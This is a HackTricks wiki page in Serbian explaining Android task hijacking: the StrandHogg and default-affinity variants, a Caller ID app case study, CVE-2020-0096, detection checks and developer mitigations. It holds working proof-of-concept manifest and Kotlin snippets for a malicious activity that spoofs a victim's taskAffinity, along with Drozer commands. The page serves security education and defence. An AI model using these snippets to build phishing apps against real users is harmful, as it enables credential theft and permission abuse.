Android Task Hijacking
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Task, Back Stack and Foreground Activities
U Androidu, task je u suštini skup aktivnosti sa kojima korisnici interaguju da bi završili određeni posao, organizovan unutar back stack. Ova stog organizuje aktivnosti na osnovu vremena kada su otvorene, pri čemu je najnovija aktivnost prikazana na vrhu kao foreground activity. U bilo kojem trenutku, samo je ova aktivnost vidljiva na ekranu, čineći je delom foreground task.
Evo brzog pregleda prelaza između aktivnosti:
- Activity 1 počinje kao jedina aktivnost u foreground-u.
- Pokretanje Activity 2 pomera Activity 1 u back stack, dovodeći Activity 2 u foreground.
- Pokretanje Activity 3 pomera Activity 1 i Activity 2 dalje nazad u stogu, pri čemu je Activity 3 sada ispred.
- Zatvaranje Activity 3 vraća Activity 2 u foreground, prikazujući Androidov pojednostavljeni mehanizam navigacije kroz zadatke.
Task affinity attacks
taskAffinity
govori Androidu kojoj zadatku bi Activity
preferirala da pripada. Kada dve aktivnosti dele istu afinitet, Android može da ih spoji unutar istog back-stack-a čak i ako dolaze iz različitih APK-ova.
Ako napadač može da postavi zloćudnu aktivnost na root tog stoga, svaki put kada žrtva otvori legitimnu aplikaciju, zloćudni UI će biti prva stvar koju korisnik vidi – savršeno za phishing ili zlostavljanje zahteva za dozvolama.
Površina napada je šira nego što mnogi programeri misle jer svaka aktivnost automatski nasleđuje afinitet jednak imenu paketa aplikacije (osim ako programer ne postavi android:taskAffinity=""
). Stoga ne preduzimanje ništa već ostavlja aplikaciju otvorenom za hijacking zadataka na Android verzijama pre 11.
Classic "singleTask / StrandHogg" scenario
- Napadač deklarira aktivnost sa:
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
- Zloćudna aplikacija se pokreće jednom kako bi zadatak (sa lažnim afinitetom) postojao u nedavnim zadacima.
- Kada korisnik kasnije otvori pravu aplikaciju, Android pronalazi da već postoji zadatak čija root afinitet odgovara paketu i jednostavno dovodi taj zadatak u foreground.
- UI napadača se prikazuje prvi.
Default–Affinity (no singleTask
) variant – Caller ID case study
Ranljivost prijavljena u aplikaciji Caller ID (caller.id.phone.number.block) pokazuje da napad takođe funkcioniše protiv podrazumevanog standard
režima pokretanja:
- Aplikacija napadača kreira lažnu root aktivnost i odmah se skriva:
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true) // keep the task in recents but out of sight
}
}
- Manifest samo treba da kopira paket žrtve u
taskAffinity
:
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
- Čim korisnik instalira i otvori zloćudnu aplikaciju jednom, postoji zadatak čija afinitet odgovara paketu žrtve (ali se nalazi u pozadini).
- Kada se prava Caller ID aplikacija pokrene, Android ponovo koristi taj zadatak i dovodi
HackActivity
u foreground → phishing prozor/zlostavljanje dozvola.
NOTE: Počevši od Android 11 (API 30), sistem ne postavlja dva paketa koja nisu deo istog UID u isti zadatak po defaultu, ublažavajući ovu posebnu varijantu. Starije verzije ostaju ranjive.
StrandHogg 2.0 (CVE-2020-0096) – Reflection-based task hijack
Googleova bezbednosna obaveštenja iz maja 2020. ispravila su napredniju varijantu nazvanu StrandHogg 2.0. Eksploatacija ne oslanja se na taskAffinity
uopšte; umesto toga koristi reflection da dinamički umetne aktivnost napadača na vrh svakog aktivnog zadatka, potpuno zaobilazeći ograničenje “shared-UID” koje je uvedeno u Android 11.
Ključne tačke:
- Zloćudna aplikacija bez dozvola može, kada se otvori, iterirati kroz aktivne zadatke i pozvati skrivene API-je da re-parent svoju aktivnost u bilo koji zadatak.
- Budući da se aktivnost umetne nakon vremena izvršavanja, ni
launchMode
ni statička analiza manifesta ne mogu unapred otkriti napad. - Ispravljeno vraćanjem provere u Android 8.0/8.1/9 (maj 2020 SPL). Android 10 i noviji nisu pogođeni.
Otkrivanje na uređajima pre ispravke može se izvršiti sa adb shell dumpsys activity activities
i posmatranjem sumnjivih aktivnosti čije ime paketa se razlikuje od afiniteta zadatka.
Ublažavanje za starije uređaje je isto kao klasični hijacking zadataka plus verifikacija u vreme izvršavanja (npr. pozivajući ActivityManager#getRunningTasks
i validirajući svoje ime paketa).
Detection & Exploitation checklist
- Static review – Preuzmite
AndroidManifest.xml
iz ciljanog APK-a i proverite da svaka<activity>
(ili globalni<application>
element) sadržiandroid:taskAffinity=""
(prazno) ili prilagođenu vrednost. Alati kao što su:
# Using apkanalyzer (Android SDK)
apkanalyzer manifest print app.apk | grep -i taskaffinity
# Using AXMLPrinter2
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
- Dynamic review – Na uređaju otvorite ciljan app i navedite zadatke:
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
Zadatak čija root afinitet odgovara paketu žrtve, ali čija gornja aktivnost pripada drugom paketu je crvena zastava. 3. Napravite zloćudnu aplikaciju kao što je opisano iznad, ili koristite Drozer:
drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
run app.activity.info com.victim
Mitigation
Programeri bi trebali:
- Eksplicitno postaviti
android:taskAffinity=""
na nivou<application>
(preporučeno) ili dati svakoj aktivnosti jedinstven, privatni afinitet. - Za veoma osetljive ekrane, kombinovati navedeno sa
android:launchMode="singleInstance"
ili modernimsetLaunchMode
zaštitama. - Ažurirati
targetSdkVersion
aplikacije i primeniti Android 11 promene ponašanja gde se zadaci po defaultu ne dele između paketa. - Ciljati Android 12 (API 31) ili noviji tako da obavezni atribut
android:exported
primorava programere da audituju svaku spolja dostupnu komponentu. - Razmotriti samoodbranu u vreme izvršavanja: povremeno upititi
ActivityTaskManager
da osigura da se ime paketa vaše gornje aktivnosti poklapa sa vašim.
Related UI-Hijacking techniques
Hijacking zadataka se često kombinuje sa ili zamenjuje tapjacking (obmana UI zasnovana na preklapanju). Istraživanje TapTrap iz 2025. pokazalo je da potpuno prozirne animacije mogu zaobići ograničenja dodira preklapanja uvedena u Android 12–14 i još uvek prevariti korisnike da dodele opasne dozvole. Iako TapTrap nije strogo task hijacking, krajnji cilj (phishing klikovi) je identičan – tako da moderna ocenjivanja treba da provere obe površine napada.
References
- https://blog.dixitaditya.com/android-task-hijacking/
- https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html
- Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app
- https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06
- Promon – StrandHogg 2.0 (CVE-2020-0096) technical write-up
- USENIX 2025 – TapTrap: Animation-Driven Tapjacking on Android
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.